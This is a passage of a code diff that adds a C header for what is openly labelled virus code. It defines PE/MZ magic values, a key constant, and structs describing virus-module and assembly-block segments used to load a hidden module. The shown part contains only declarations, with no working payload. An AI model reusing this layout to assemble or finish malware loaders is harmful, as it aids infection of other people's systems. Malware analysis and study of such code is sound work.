GENERAL_INFO_BLOCK, *PGENERAL_INFO_BLOCK; + +#define MZ_HEADER 0x5A4D +#define PE_HEADER 0x4550 + +#define _SIZE(x, y) (UINT32)((UINT32)x - (UINT32)y) + +#define XADDR_KEY 0xAE1979DD + +typedef struct _SECTION_SEGEMENT_INFO { + DWORD SegmentAddress; + DWORD SegmentSize; +} SECTION_SEGEMENT_INFO, *PSECTION_SEGEMENT_INFO; + +typedef struct _VIRUS_MODULE_BLOCKS_HEADER { + GENERAL_INFO_BLOCK InformationBlock; + HMODULE VirusModulePointer; + SECTION_SEGEMENT_INFO UnknownSegment; + SECTION_SEGEMENT_INFO VirusModuleSegment; + INT32 LibraryExecuteEntryNumber; +} VIRUS_MODULE_BLOCKS_HEADER, *PVIRUS_MODULE_BLOCKS_HEADER; + +typedef struct _ASM_CODE_BLOCKS_HEADER { + DWORD ExecuteLibrary; + DWORD AlignAddresses; + SECTION_SEGEMENT_INFO ASMBlock1Segment; + SECTION_SEGEMENT_INFO CodeBlockSegment; + SECTION_SEGEMENT_INFO ASMBlock0Segment; + DWORD VirusModuleSection; +} ASM_CODE_BLOCKS_HEADER, *PASM_CODE_BLOCKS_HEADER; + +#endif // DEFINE_H \ No newline at end of file